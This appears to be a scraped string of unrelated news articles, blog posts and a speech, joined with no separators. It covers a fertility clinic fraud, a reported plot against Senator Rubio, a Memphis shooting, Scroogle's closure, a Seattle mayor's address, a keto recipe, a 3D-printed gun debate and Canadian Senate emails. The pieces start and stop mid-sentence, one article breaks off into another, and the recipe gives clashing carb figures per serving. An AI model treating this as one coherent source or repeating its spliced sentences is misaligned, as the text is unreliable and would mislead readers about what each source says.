sentenced to six years in prison, according to a 2007 article in the alumni magazine of Southwest Minnesota State University, where Lippert was a business professor at the time of the arrest. He apparently served only two of those six years. The revelations about Lippert have Ashley's family concerned that he fathered other children. If Ashley has biological half-siblings, she would like to be in touch with them, Moore said. The family has set up a website for others who are worried that they were also victims of Lippert. Ashley "has handled this unbelievably well," Moore said. The search for other victims In the wake of Ashley's family going public, the University of Utah issued a statement confirming that it has been investigating "credible information regarding the possible mislabeling or tampering of a semen sample at RMTI" since April 2013. The facility was private, but contracted with the university to prepare and analyze semen samples. [5 Myths About Fertility Treatments] RMTI is no longer operating, and the university says that there are no records remaining to explain how Lippert ended up fathering Ashley. Individuals wishing to avail themselves of paternity testing can contact the University of Utah Andrology Lab at (801) 587-5852. Paternity tests are not the only option available to worried families, Moore said. Because Ashley, Ashley's biological grandmother and Lippert's cousin all have their DNA on record in the databases of 23andMe, Family Tree DNA and AncestryDNA, tests by any of those companies would immediately reveal a relationship to Lippert. A university paternity test can only show that the child is not related to his or her father, necessitating a second round of testing if there is no genetic relationship, Moore said. "I'm not saying they shouldn't test through the university, but I think some people might prefer independent private testing," she said. Though the case brought appalling news to Ashley, Paula and Jeff, Moore said the DNA testing reveals the power of consumer genetics. Lippert's case is not the only example of malfeasance at sperm banks or clinics. In 1992, for example, fertility doctor Cecil Jacobson was convicted on charges of fraud and perjury for scams at his clinic in Virginia in the 1980s. DNA tests showed that Jacobson had fathered at least 15 children with patients told they were getting anonymous donor sperm. With companies like 23andMe on the scene, the DNA evidence proving such cases is no longer in the shadows. "My message to anyone who would think of doing something like this is you will not get away with it," Moore said. Copyright 2014 LiveScience, a TechMediaNetwork company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.According to United States' intelligence gained last month, former military chief and head of the Venezuelan Socialist Party, Diosdado Cabello, may have issued an order for Sen. Marco Rubio's (R-Fla.) death, the Miami Herald reported. Federal authorities were unsure of when the attacks would occur, which prompted additional security details in Miami and Washington, D.C. Rubio and Cabello have had a public feud with one another. Just last week, Cabello took to Twitter to call Rubio "Narco Rubio." Rubio responded by reminding Cabello of the nickname he was given: "Pablo Escobar," a name the Venezuelan leader received months ago because of his suspected drug trafficking. The Department of Homeland Security issued a memo that was law enforcement sensitive but not considered classified. The memo revealed an “order to have Senator Rubio assassinated," but said they had no specific information about how the assassination attempt would be carried out, the Miami Herald reported. The memo did, however, note that Cabello was critical of Rubio and might have contacted “unspecified Mexican nationals” to carry out the attack. Since President Donald Trump took office in January, Rubio has advocated for a strong United States response to the Venezuelan government. For years, the U.S. has investigated Cabello and other high-ranking Venezuelan leaders for suspected drug smuggling, which Cabello vehemently denies.Please enable Javascript to watch this video MEMPHIS, Tenn. — A family is in mourning after a young father was shot and killed in Raleigh late Tuesday evening. According to the police report, Johnathan Morris confessed to shooting 29-year-old Courtney Anthony after the two got into an argument at the Hilldale Apartments in the 3500 block of Westline Drive. He stated he "unloaded on the victim with an AR-15." Family members told WREG Anthony was dropping off his daughter when he was shot. It's unclear if the little girl witnessed the homicide. Witnesses on the scene said several other children were outside playing when five or six shots rang out, creating mass chaos. The victim's family arrived on the scene and was devastated by the news. "My son. I knew he was bringing his daughter home. The only granddaughter I have, she's 6 years old and for her to see her father get killed. I'm so sick and tired of this black-on-black crime." Morris was charged with second-degree murder.Scroogle - a not-for-profit search engine that offered users something of a pro-privacy antidote to Google - has been killed off by its creator. Daniel Brandt called it quits after his servers were repeatedly targeted by DDoS attacks on Scroogle. As we reported last week, the website was out of action and displaying a message during the most recent outage that blamed Google for "temporarily blocking" Scroogle's server. It turns out the site, which routinely scraped the Chocolate Factory's search results for the best part of a decade, has been closed down by Brandt. The final nail in the coffin came not because of action take by Google to once again attempt to banish the site from the interwebs, but due to the number of DDoS attacks that hit Scroogle, rendering the site utterly useless. “Scroogle.org is gone forever,” Brandt told BetaBeat. “Even if all my DDoS problems had never started in December, Scroogle was already getting squeezed from Google’s throttling, and was already dying. It might have lasted another six months if I hadn’t lost seven servers from DDoS, but that’s about all.” ®I’ve got nothing but respect for the DIY/open source community who take conductive thread, LEDs, and Arduino boxes and make them into marvelous little working crafts. I find it all a bit above my metaphorical pay grade. However, if there was anything that was going to convince me to learn how to rig a circuit, it would be the project that Dia forwarded to us yesterday. It’s a fur-lined leather gauntlet that can roll 100, 20, 12, 10, 8, 6, and 4-sided dice with the flip of a switch and the shake of a forearm. It combines my love of tabletop with my desire to live in the future where we all poke our wrists to get things done. According do Dia, the electronic components required are simply: Conductive Thread LilyPad Arduino 328 Main Board LilyPad Accelerometer ADXL335 LilyPad Slide Switch 7-Segment Serial Display Lipo Charger basic Polymer lithium Ion Battery And then you, uh… Do some things… Um. Look, I just want this. Her detailed instructions are here. (Thanks, Dia!)When we published reports on Monday that Richard Engel and his crew had gone missing in Syria, it was over the objections of Engel's employer NBC News, which had been trying to enforce a media blackout on Engel's situation. That was an unpopular decision in some quarters, and it sparked a discussion on the Vulture Club, a Facebook group focusing on war-zone reporting moderated a Human Rights Watch staffer named Peter Bouckaert. Bouckaert urged Vulture Club members to email me and ask me to take the Engel post down. Below are some of their notes. When we originally published the Engel post, we were somewhat limited in explaining our rationale for not honoring NBC's request, because our reasons were based in part on information we learned in off-the-record conversations. Now that Engel and his team have found safety, and that NBC has publicly revealed some of the circumstances of his disappearance, I feel comfortable stating that when NBC asked me not to report that Engel was missing, they knew absolutely nothing about his situation. They had no idea if he was alive, if he had been kidnapped, or if he had simply lost communications capability for an unusually extended period of time. All they knew was that they hadn't talked to him since Thursday. Under those circumstances, no one at NBC made a case to me that reporting Engel's situation might cause anything concrete to happen to him, because they didn't know anything about his current circumstances. This wasn't a case where someone was telling us that jihadists had kidnapped them, and negotiations were ongoing. There were no negotiations, nor was there a concrete reason to believe there was anyone to negotiate with. As such—combined with the fact that the news had been repeatedly reported in the international press and domestically, and had been passed around on Twitter to far more people than eventually read about it on Gawker—I didn't see a compelling reason to not do what Gawker normally tries to do, which is (among other things) publish true, newsworthy information. (And as a more general question, it's not clear how publicity as a rule increases risk to kidnapping victims. There are many instances where coverage could be helpful in increasing pressure on a group to safely return a victim.) Not long after the post went up, Bouckaert posted this message on Facebook: "Task for the day: let John Cook of Gawker know how responsible journalists feel about his breaking of the NBC news blackout. Email the jerk at john@gawker.com." Here are some of the responses. From Rajiv Chandrasekaran, senior correspondent and associate editor at the Washington Post, to me, on Twitter (I can't be sure whether Chandrasekaran's message was inspired by Bouckaert's Facebook message, but it arrived around the same time): Yo @johnjcook, ever put yr life on line in hostile country to report story 4 Gawker? Don't 2nd guess @nbcnews if you havent — Rajiv Chandrasekaran (@rajivwashpost) December 18, 2012 From Peter Bouckaert: That was incredibly irresponsible and unethical. I hope you feel like the jerk you are. From David Rohde, the New York Times reporter who spent seven months in captivity in Afghanistan, during which time the Times enforced a media blackout (with which Gawker complied): I implore you to please take take down your post about Richard Engel. I have no information about what has happened, but I know that publicity can complicate the situation and possibly endanger people. If you did it in my case, you should do it in his. Whatever NBC has said or not said, it is best to avoid potentially risking someone's life. From Nicole Tung, photographer: I want to express my horror and outrage at the absolute irresponsibility of Gawker for publishing the news about the NBC team as a headline and then saying there is a news blackout. What is going through your mind when you do something like that? Are the editors at Gawker complete fools? I have been working in Syria for eight months now and like anywhere, safety is first and your violation of the blackout is absolutely disgusting. You are not on the ground to see or hear just how damaging going public like that can be and your ill-thought decision could very well place people in more danger. You don't have facts but just some inane desire to break news for whatever egotistic trip you're on. I hope you understand how you violated not just NBC's request but those of the families of the people kidnapped as well. Think before you do that the next time. You people absolutely sicken me and its crap like what you publish that gives us all a bad name and makes you an absolute vulture
to tell us how the City could help improve education and quality of life for our children. One of the things they told us was that the City could improve the way we coordinate our numerous services to benefit our children. Last year the City Budget Office conducted an inventory of youth & family programs in the City – we found that the City invests $85 million across 130 programs in 9 agencies. We know how much we spend and we know how many people we service. What we do not know is how effective these investments are in achieving their intended outcomes for our youth and families. Here’s a good example. We know that if a student is not literate by the third grade, they are more likely to drop out of school. The City of Seattle spends a lot of money in this area. But we have no way to tell whether they’re actually working, because we have no way to measure success. That’s why we are implementing a plan to start systematically measuring the results of City investments in education. We are starting with a pilot project at Northgate Elementary to measure the success of City investments in achieving third-grade reading objectives. The City Budget office, the Human Services Department’s Family Services Center, the Office for Education, and the Department of Neighborhoods are already working with Northgate Elementary Principal Stan Jaskot and his committed group of teachers and staff on this project. We are focusing existing City programs and services in the North End of the City most effectively to get all kids at Northgate Elementary read at grade level by 3rd grade. Currently, only 30% of the students at Northgate meet that goal. This approach begins with the third graders at Northgate and will broaden to include those in second, first, and kindergarten. We can track each cohort using data that measures how well we are succeeding – and can adjust each program to be responsive to their needs. This pilot program will form the foundation of a broader outcome-based budgeting approach that the City can incorporate into other program areas in the future. Seattle is a town that cares whether or not our kids succeed. How do we do that? Make sure every one is in school. Our citywide Be Here Get There attendance campaign has been delivering results. Preliminary data shows that the rate of students attending school is at its highest level in five years. I want to thank all of our community partners, especially the students, parents, teachers and administrators who are making this effort possible. We’re also working to give every child a shot at college. The price of tuition is rising, and it shouldn’t price out children who work hard. The state’s College Bound Success program offers a full scholarship to students who meet financial eligibility requirements, maintain a certain grade point average and stay out of trouble. But they have to sign up by the eighth grade to be eligible. Last year our community partners signed up 42% more students than last year, and we reached almost every eligible kid. We’ll be out there again this year. We’re also working to get job training for our young people. The City is partnering with the Seattle Community Colleges to launch the Pathways to Careers Partnership to double the student completion rates in high demand occupations. Leveraging more than $5 million in funds from our partners, the Pathways to Careers Partnership will help more of our workers get the skills they need to compete and succeed. In turn, that provides our local businesses with the skilled workers they need right here in Seattle, without having to look to other states. Pathways to Careers focuses on training for high growth occupations business and information technology, manufacturing and industrial skills, international trade transportation and logistics, and healthcare. Our goal is to increase the student completion rates from approximately 40% to 80% in these four sectors. Seattle is the kind of place where we step up and help our children to do well in school and in life. Seattle is also the kind of place where we build communities that are safe. We have the lowest crime rates in 55 years across our city, but we have seen some increases in certain kinds of crime. People are concerned about public safety. I heard concerns from residents in Columbia City the weekend before last. I heard concerns in Belltown on Friday night. I’ve heard it in other neighborhoods too. I share the public’s concerns. These problems are real. Last fall we saw an increase in the number of home break-ins in the Southeast Precinct. SPD swung into action and after making several arrests, the number of home break-ins fell back to normal levels. So far in 2012 we have had seven homicides on our streets. Several of them stemmed from the drug trade. A few others took place around nightclubs. All involved guns. I am here today to tell you that we are standing firm with the people of Seattle against violent behavior, armed robberies, open-air drug dealing and any other form of criminal behavior in Seattle. Everyone who lives here, who works here, who shops here, and who comes here to enjoy what Seattle has to offer deserves to feel safe and secure. That goes for every neighborhood in our city. The Seattle Police Department is launching “violence prevention emphasis patrols” in each of the city’s five precincts. That means more officers will be deployed to address street disorder, assaults, and shootings, focusing on the specific problems in each neighborhood. By providing a dedicated group of officers from each precinct to address these problems in our communities, we hope to improve our ability to prevent gun violence and other crimes as well as respond to calls for service within each precinct. These patrols have already started getting illegal guns off the street. These patrols will work collaboratively with neighborhood businesses to ensure that residents and visitors can be in these areas safely and without fear. Redeploying our police is just one part of the solution. Officers cannot solve this alone. We have to create a safe environment as well. Last year we cleaned up the Jungle in Beacon Hill. We partnered with residents of Columbia City to help clean up open-air drug markets. The vast majority of our bars and clubs are safe, law-abiding, and help make Seattle a great place. We are taking action against those very few that aren’t following the rules. Petty Officer 3rd Class Gregory Wayne Anderson, Junior was visiting Seattle from the USS Nimitz earlier this month when he was shot and killed during a fight near Club Republiq. That club had been facing bankruptcy, so we sent an SPD sergeant to testify to a judge about the problems there. The judge pulled the plug and shut the club down last week. We heard concerns about Studio 7, and we went to the Liquor Control Board to ask that their liquor license be revoked. Because of our efforts, a notice of intent to revoke was issued last week. When problems arose at the Copper Cart in Belltown, city officials and the Liquor Control Board worked with the new owners and staff to improve safety and implement better practices. We are optimistic these changes will make a difference. And we stand ready to act in the event they do not. We also know that some problems result from unmet social needs. While critical, police officers alone won’t solve those problems, although they do help. HSD Director Dannette Smith has convened several meetings with community service providers with the intention of working together to preserve the quality of life in Belltown and Pioneer Square while continuing to serve people who need assistance the most. This year we are expanding our work to 3rd Avenue and to the International District. We’re bringing our departments together to focus on sensible solutions to street disorder and crime. I want to thank Councilmembers Bagshaw and Rasmussen for their work on this project. It is time we were honest about the problems we face with the drug trade. Drugs are a source of criminal profit, and that has led to shootings and even murders. Just like we learned in the 1920s with the prohibition of alcohol, prohibition of marijuana is fueling violent activity. We also know today that the drug war fuels a biased incarceration policy. The drug war’s victims are predominantly young men of color. Seattle is the kind of place that isn’t afraid to try a different approach. We support safe access to medical marijuana and made enforcement of possession of marijuana for personal purposes our lowest enforcement priority. But we’ve learned in the past year that with the federal war on drugs still intact, and with our kids still getting gunned down on the streets, we need to do more. I know every one of the city council members sitting to my left and right believe as I do: it’s time for this state to legalize marijuana, and stop the violence, stop the incarceration, stop the erosion of civil liberties, and urge the federal government to stop the failed war on drugs. And maybe if we can get sensible about marijuana, we can get sensible about gun laws next. We’ve been talking about gun violence. We ask our officers to put themselves in harm’s way for us. We ask them to make tough decisions in the heat of the moment. We want them to do that so they can keep us safe. For our officers to fight crime, they must have the public’s trust. We want them to be trained to make the right decisions that fight both crime and build trust. Now we know that trust was badly damaged by several high profile incidents. And, of course, we cannot talk about public safety without talking about the recent DOJ report. You know that I have ordered the police department to implement the reforms contained in that report and they are doing so. The community is deeply interested in whether we will succeed. They should be. Issues of excessive force and bias in policing have been longstanding concerns. We have to start by acknowledging that in our society, despite our best intentions, race matters. Not just in policing, but across our society. Race matters in education. I’ve already quoted disturbing statistics about racial disparities in education. That’s why our Families and Education is focused on that issue. Race still matters in employment. Nationwide, the unemployment rate for African Americans is 15.8%, and 11% for Latinos. That’s higher than it is for whites. Those disparities persist in Seattle too. That’s why our Community Power Works program requires hiring disadvantaged young men and women from Seattle. When we solicited bids for the $16 million Rainier Beach Community Center project, all the bids came in with no women and minority inclusion. We rejected those bids, and required bids to meet the stricter standards of our new Inclusion Plan. The low bid this time came in with over 30% women and minority inclusion. Race still matters in housing. Our Office for Civil Rights (OCR) recently did an undercover survey of local housing. They sent a white person and black person with identical financial history and background to try and rent homes. 69% of housing providers tested showed patterns of racial discrimination. OCR filed Director’s charges against six of the properties that exhibited unambiguous evidence of discrimination. OCR worked with those properties to educate them about fair housing and resolve the charges. Race matters in policing too. We have been and will continue to make changes to hiring, training, mentoring, supervision, discipline, and community outreach. Now, I can’t stand here and guarantee that we will solve this problem immediately, anymore that I can promise you I am going to immediately solve racial discrimination in education, housing, contracting, and employment. But I can promise you this – in city government we will tackle this issue with resolve, determination and passion – no matter where racial and social inequities exist- in education, in housing, in employment, in contracting, and in policing. We will work to be the city that Seattle wants to be, a city where people can achieve, and be treated with dignity, no matter what their race or background. That’s the city we want to be. That’s the city we want to fight for. And as long as I’m your Mayor, I am going to fight for that city. And you know what, we have a lot of good people, and lot worth fighting for. We’ve got great neighborhoods. On my walking tours I’ve seen neighbors in Columbia City come together to fight drug dealers. I’ve seen parents and volunteers come together to keep a summer reading program alive. I’ve seen Lake City residents come together to keep their local food bank open and stocked with donations during the holiday season. We’ve got great employees here at the City. I had opportunity to work with many of them during the recent snowstorm. They weren’t just focused on keeping our streets clear. They worked hard to make sure emergency responders could get to people in need, that dialysis patients had cars and drivers to get to their treatment, to communicate with immigrant and refugee populations. We aren’t perfect, but it was great to be side by side with our city employees dedicated to I see that dedication to service every day in my job. We have good kids, and we need to do more to support them. Last week I was out visiting Youth Green Corps. It’s a group of young men age 18 to 25 that didn’t finish high school, but they’re out there in the rain planting trees and getting their GED. We just want to give them the tools they need to succeed. We’re creative. Our arts and culture never stand still. We’re always creating something new, something interesting, and something different. That creativity spills over into everything we do We’ve got visionaries here. We can’t keep doing things the way we have been. Seattle is a place that supports visionaries. And it’s not just those working for big companies. I still believe that the next big thing is going to be invented in somebody’s garage or spare bedroom. The next big retailer is scouting out some hole in the wall retail space, or putting up a website. A craftsperson is coming up with our next Theo Chocolates or Redhook beer. And we’re not afraid to get our hands dirty. whether it’s converting a vacant lot to a new P-patch with our neighbors, or building boats, planes and streetcars, we’ll roll up our sleeves. Our fishing boats brave harsh Alaskan conditions, and we’re collecting scrap metal to turn into steel right on our waterfront. We have great people, and we live in a great place. It’s why we stay here, whether we grew up in Seattle or moved here as soon as we got the good sense to do so. All of those things that make Seattle great also make us resilient. They make us competitive. They make us strong. And we’re going to have to strong, and resilient and innovative – because the challenges we face – from inequality, to education, to economic competitiveness, to environmental sustainability – are real, and they’re big. But I can’t think of any other city better prepared to face the challenges we face. If there is any place in the world that can show the way to deal with those challenges – it’s Seattle, and I look forward to working with you to face those challenges. Thank you. Posted by: Words: April Thomas, Pictures: Jen NanceSince I made the cheese chips recipe a while ago, I figured it was time to revisit them. This time, I wanted to use the cheese crisps as both a textural addition as well as a vessel for the food to sit on. This not only offers a deliciously crisp contrast in texture, but it also adds extreme portability to your breakfast, which is a big plus in my book! Make sure when you take your bacon out of the pan, you try to keep as much bacon fat in the pan as possible. This will allow you to cook your eggs in the bacon fat, adding a deep and rich flavor. If you want to make perfect circular fried eggs, you can just put a metal ramekin over the eggs when they are done cooking to cut off the excess whites, or you can also buy a Perfect Circle Egg Cooker. The salsa I use it quite low carb, and I have to say that’s it’s necessary for this recipe. It will add a big burst of fresh, cool, and sweet flavors. It helps cut through all the fats/rich flavors of the cheese, eggs, and bacon. Per serving this recipe has 4.7g carbs (that’s 2 egg baskets), but keep in mind that most of these carbs come from the cheese and eggs. Yields 6 Egg and Bacon Baskets The Preparation 1 ½ cups shredded cheese shredded cheese 6 slices bacon bacon 3 tablespoons rendered bacon fat rendered bacon fat 6 large eggs eggs 6 tablespoons salsa salsa 1 teaspoon pepper pepper 1 teaspoon paprika paprika ½ teaspoon salt salt ¼ teaspoon cayenne pepper The Execution 1. Start by putting 1/4 Cup of cheese into 6 piles on your silpat. I prefer to use silpats because they’re nonstick and the cheese cooks well on them. 2. Season your crisps with some paprika and cayenne pepper, then put them in the oven at 400 degrees for 10-12 minutes. 3. Immediately after they come out of the oven, mold 3 of them on a cupcake tray that’s been turned upside down. 4. Set them aside for later. 5. In a pan, start cooking 6 slices of thinly cut bacon. You can cut your bacon with scissors to allow for easy slices, but if you want to use a knife you can also put the bacon in the freezer for 15-20 minutes before slicing. This will solidify the fats well and ensure easy cutting. 6. Continue to cook the bacon until it is very crisp. 7. Once the bacon turns a brown color, remove it from the pan. When you’re removing it, try to keep as much grease in the pan as possible. 8. Let the bacon strips rest on a paper towel to crisp up further. 9. In the bacon grease, start to fry your egg. You can use a small ramekin to cut off the egg whites and create a perfect circular egg. If you want to get a gadget that can do that, then these perfect egg molds can do that. 10. Once you have your 3 fried eggs finished, start cooking 3 scrambled eggs in the rest of the bacon fat. Season them well and don’t overcook them. 11. Add the fried eggs to the flat cheese crisps and the scrambled eggs to the cheese crisps that you molded. 12. Top with bacon and 1 Tbsp. salsa on each. Per serving (2 egg baskets) you’re looking at: 295.17 Calories, 24.19g Fats, 2.43g Carbs, and 16.01g Protein. Egg and Bacon Baskets Calories Fats(g) Carbs(g) Fiber(g) Net Carbs(g) Protein(g) 1 ½ cups shredded cheese 685 56.46 5.24 0 5.24 38.76 6 slices bacon 266 21.03 0.66 0 0.66 17.36 3 tablespoons rendered bacon fat 347 38.51 0 0 0 0 6 large eggs 429 28.53 2.16 0 2.16 37.68 6 tablespoons salsa 31 0.18 7.17 2.1 5.07 1.64 1 teaspoon pepper 6 0.07 1.47 0.6 0.87 0.24 1 teaspoon paprika 6 0.3 1.24 0.8 0.44 0.33 ¼ teaspoon cayenne pepper 1 0.08 0.25 0.1 0.15 0.08 Totals 1771 145.16 18.19 3.6 14.59 96.09 Per Serving(/6) 295.17 24.19 3.03 0.6 2.43 16.01WASHINGTON -- In the event of a government shutdown, hundreds of thousands of federal workers would be furloughed, not knowing if or when they'd get paid. Their paychecks would ultimately depend upon the benevolence of a fractious Congress, which decides whether to pass legislation retroactively paying workers for their lost time. But at least 535 civil servants in Washington don't have to worry about missed mortgage payments or mounting credit card debt due to a shutdown: the very members of Congress who threaten to grind government to a halt. The salaries of Congress members, like the president, come from a pool of mandatory funds and aren't subject to the whims of lawmakers. If a shutdown happens, their checks keep coming, no matter what. As a report issued this week by the Congressional Research Service puts it, "Due to their constitutional responsibilities and a permanent appropriation for congressional pay, Members of Congress are not subject to furlough." This cruel irony isn't lost on the federal workers who stand to lose pay but for an act of Congress, most of whose members earn $174,000 a year. "When the government shuts down, employees don't get paid," Colleen Kelley, head of the National Treasury Employees Union, which represents 150,000 federal workers, said Friday. "No matter how much Congress does not work, it still does get paid." Elizabeth Lytle, a 55-year-old Environmental Protection Agency employee from Illinois, said it's unjust that "blowhards" on Capitol Hill would continue to get paid while middle-class workers are thrown into uncertainty. Lytle has already taken six unpaid furlough days this year and resorted to tapping her retirement funds for dental work. "I know that Congress is what they consider essential personnel -- they get paid regardless," Lytle said. "To me, that's not fair. That is not fair at all." The GOP-controlled House of Representatives passed a bill last week that made government funding contingent upon defunding the Affordable Care Act. On Friday, after days of showmanship by Obamacare opponents, the Democratic-controlled Senate sent the funding legislation back to the House after stripping the Obamacare provision. It's now up to House leaders whether to force a shutdown. During the last shutdown, in 1995 and 1996, Congress later passed legislation that made workers whole for the days they were furloughed. This time around, union leaders and workers aren't sure Congress will be so merciful in an era of budget squabbles, even if members themselves are guaranteed to get paid.Hi friends! How are you today? I'm here to share an awesome pear and apple crisp with you. If you follow me on Instagram then you've seen all of the fresh apples and pears that I have at my house currently. So awesome!! I decided to take full advantage of the beautiful abundance that I have and make a fresh pear and apple crisp.It's been pretty chilly around here lately (which is expected!) and eating a piece of this right out of the oven with a big mug of green tea (or whatever tea you like) is a great way to spend a morning or even an evening! I was baking this the other day and oh my gosh the house smelled of pure autumn bliss. I wish that I could add the smell of the foods as an attachment to the photos that I share. How cool would that be?!The Wiki Weapon Project has already attracted its fair share of controversy. The project was put on hold earlier this year after its 3D printer was seized by the company they leased it from. Now one Congressman is calling for the renewal of the Undetectable Firearms Act to counter the perceived threat of 3D printed guns. Over the weekend, Representative Steve Israel alerted Congress to the Wiki Weapon project and correctly states that the men fired six shots from the rifle. He also correctly states that it was an AR-15 rifle assembled with parts from a 3D printer. After that, however, he’s completely off base. Let’s first take a look at this quote from Rep. Israel at a news conference over the weekend: “It is just a matter of time before these three-dimensional printers will be able to replicate an entire gun. And that firearm will be able to be brought through this security line, through the metal detector, and because there will be no metal to be detected, firearms will be brought on planes without anyone’s knowledge.” He’s right. A plastic gun would be able to pass through a metal detector with no problems. The only problem is that a plastic gun is far from being a reality. It’s not a matter of time so much as it is a matter of probability. Rep. Israel neglects to mention that the Wiki Weapon team’s gun broke after the sixth shot because the one piece on the gun that was made of plastic snapped under the pressure. To further illustrate that Rep. Israel just doesn’t get it – he says that 3D printers are a technology out of “Star Trek.” For one, 3D printers have been around for more than 20 years. It’s not a futuristic technology that’s just suddenly appeared. Secondly, 3D printers don’t just magically make things appear out of thin air like on “The Jetsons.” In reality, it’s just lawmakers continuing their time honored tradition of not understanding technology, and immediately fearing it. It wasn’t just Rep. Israel spouting nonsense either as the Suffolk County Police Chief, James Burke, said that 3D printers could bring guns to “our children’s bedrooms, in basements and in dorm rooms.” He cites the continued decline in prices as the leading concern because children are obviously going to drop $600 on a cheap 3D printer to make a gun. The Wiki Weapon team is using an advanced industrial 3D printer that costs thousands of dollars to create their parts. The cheap desktop 3D printers can’t use the kind of plastic needed to create the parts that the Wiki Weapon team is making. Even then, the tougher plastics still break upon firing the gun. For a moment, let’s pretend that Rep. Israel is right. Let’s pretend that 3D printers are about to bring forth the democratization of gun creation, and every child, hobbyist and dog is equipped with a rifle. How would Congress ban 3D printed guns? The only possible way is to ban 3D printers and that would not sit well with anyone considering the technology’s many uses. In short, it’s next to impossible to stop Wiki Weapon and related projects. Congress can renew the Undetectable Firearms Act, but it can’t do anything to stop development of 3D printed guns without destroying 3D printing. In fact, the greatest threat to 3D printed guns are 3D printers. The technology has proven that it isn’t adequate just yet, and may never be. As for the Wiki Weapon team, they’re back at the workstation trying out a new material. They say it will provide more flexibility which may preserve the lower for more than six rounds. [h/t: Boing BoingOTTAWA—It speaks volumes about Conservative ethics in 2013 that ground was all but being cleared Thursday for a monument to a previously unknown party operative named Chris Montgomery. Montgomery is the guy who tried to stand up to the bullies in Prime Minister Stephen Harper’s office and their Senate operatives as they sought to put a lid on the Mike Duffy affair. Chris Montgomery, the former director of parliamentary affairs for Sen. Marjory LeBreton, was exposed in emails from Stephen Harper’s office as “the problem,’’ writes Tim Harper. ( Linkedin ) For that, Montgomery, then the director of parliamentary affairs for Sen. Marjory LeBreton, was exposed in emails from Harper’s office as “the problem,’’ the man who incredibly couldn’t understand the meaning of “circle the wagons,’’ a rogue who was choosing political high ground over political expediency. It was as if Diogenes could turn off his lamp. The honest man had been found. Of course, this being Ottawa, there is no happy ending. Montgomery finally relented to the PMO jackboots and has left Ottawa for a new job in Calgary. Article Continued Below We don’t know why, or how, Montgomery was finally made to cave, but he was in the process of turning his back on 11 years of Conservative politics and heading to a new job at the Canadian Association of Petroleum Producers when he was interviewed by the RCMP. The 80 pages of affidavits released Wednesday take us on two journeys, both rich with internal emails that offered an unprecedented entree into the damage control underway in Harper’s office as the Duffy scandal became a political problem. One track takes us to the centre of the negotiations between Duffy and Wright and the ever-expanding number of Harper’s staff privy to the details of the deal. The other track takes us to the whitewashing of a Senate report on Duffy, an attempt to derail an independent audit and the powerful control Harper’s office had over its senators. It is not clear how much the prime minister knew about this extraordinary strong-arming. It should be no surprise that the PMO sought to control its senators, but it is a surprise that Harper would rise in the Commons only days ago to plead otherwise. “The Senate, as we all know, is an independent body,’’ Harper said Oct. 29, sparking gales of laughter from opposition benches. Article Continued Below Montgomery was trying to make it thus, clearly irritating those playing the grand game of deception. On May 8, the day major changes were made to the Duffy Senate report, Senator Carolyn Stewart Olsen, a former Harper communications aide, laments ruefully, in an email to Patrick Rogers in the PMO, that she was too optimistic about the ease with which a report could be whitewashed because “Montgomery says we, as senators, should not compromise ourselves.” Rogers forwarded it to Wright, calling it “unbelievable.’’ A minute later, Rogers tells Stewart Olsen: “This is the direction. You are not compromising yourself. You’re fulfilling commitments that were made,” a reference to a deal struck between Wright and Duffy over the $90,000 expense repayment. When the initial report was found to be critical of Duffy — contrary to the deal — Harper’s office demanded it be changed. The changes were delivered through Stewart Olsen, who immediately bought in “100 per cent,’’ according to PMO staffer Rogers, but the RCMP says there appeared to be a temporary impasse when Montgomery told Stewart Olsen, LeBreton, Rogers and Chris Woodcock of the PMO that the Senate was compromising itself in capitulating to the will of Harper’s office. According to his testimony to police investigators, he told Rogers and Woodcock that they should not be involved in the Senate audit and reports regarding Duffy and that he had never, in seven years working in the Senate, ever seen the PMO attend meetings and insist on the wording of a Senate report. He argued that senators make the final decision on how their reports are worded. In February, Rogers came to Montgomery to suggest a special Senate Rules Committee be held to declare Duffy and Pamela Wallin as residents in their respective provinces. A snap of the finger to make it go away, in other words. Montgomery told him that wouldn’t work. He refused a request from Wright to deal with Duffy during the Deloitte audit because he refused to get involved in an independent process. Senator David Tkachuk came to Montgomery to discuss the possibility of shutting down the Deloitte audit of Duffy. Montgomery told him he couldn’t do that. It is no wonder Wright wrote an internal email to PMO colleagues declaring “Senator LeBreton agrees that Chris might not be fully on board.’’ And it’s probably no wonder Montgomery is no longer here. Tim Harper is a national affairs writer. His column appears Monday, Wednesday and Friday. tharper@thestar.ca Twitter:@nutgraf1 Read more about:Matrox on Wednesday announced the latest addition to its popular C-Series line of multi-monitor graphics cards, the Matrox C900. The card is noteworthy as it's the world's first single-slot, nine-output graphics card. The Matrox C900 is a PCIe 3.0 x16 video card that packs 4GB of memory and nine mini-HDMI connectors that consumes just 75 watts. With those connectors, it can push nine 1,920 x 1,080 displays at 60Hz either in a 9x1 or 3x3 video wall configuration. Matrox says the card offers a total desktop resolution of 5,760 x 3,240 when in the latter configuration. If that's not enough, the card can be paired with another C900 card or a Matrox C680 six-output board to push 18- or 15-screen video walls, respectively. The company also tells us it supports digital audio through HDMI and is DirectX 12 and OpenGL 4.4 compliant and is also compatible with Matrox Mura IPX Series 4K capture and IP encoder & decoder cards. As you've likely surmised, a card of this caliber is best suited for signage installations in retail, corporate, entertainment and hospitality environments. Matrox also says it'd be ideal for a control room video wall in security, process control and transportation environments. Matrox said its C900 will be publicly demonstrated at ISE 2016 in Amsterdam from February 9 through February 12. The card will be available sometime in the second quarter, we're told. No word yet on pricing.April 28, 2017, 4:34 PM GMT / Updated April 28, 2017, 4:34 PM GMT / Source: Reuters A remembrance ceremony for the policeman killed last week by an attacker in Paris "exalted" the concept of gay marriage, far-right presidential candidate Marine Le Pen's father said on Friday, courting controversy for his daughter's campaign. French far-right Front National leader Marine Le Pen is kissed by her father Jean-Marie Le Pen on Nov. 30, 2014. Laurent Cipriani / AP, file Jean-Marie Le Pen, the National Front (FN) party founder from whom his daughter has sought to distance herself because of his controversial views, criticized a speech made at the ceremony by the dead policeman's partner earlier this week. "The long speech he made in some way institutionalized homosexual marriage, exalted it in a public way, and that shocked me," Le Pen said in an interview on his web site. Related: Partner of Slain Paris Police Officer Gives Heartbreaking Eulogy Marine Le Pen is the underdog in the coming run-off vote for the presidency against Emmanuel Macron, the centrist candidate. The legalization of gay marriage was one of the flagship actions of outgoing President Francois Hollande's five years in office, a move that was popular with many people in France but controversial with a large socially conservative section of society. Etienne Cardiles, partner of Xavier Jugele, the policeman (portrait) killed by a jihadist in an attack on the Champs Elysees, gives a speech during a ceremony to pay tribute to him on April 25, 2017. Bertrand Guay / AFP - Getty Images The comments by 88 year-old Le Pen senior came as another controversy he is linked to came back to haunt his candidate daughter. Earlier on Friday, the FN announced that Jean-Francois Jalkh, a vice-president of the party who was earmarked 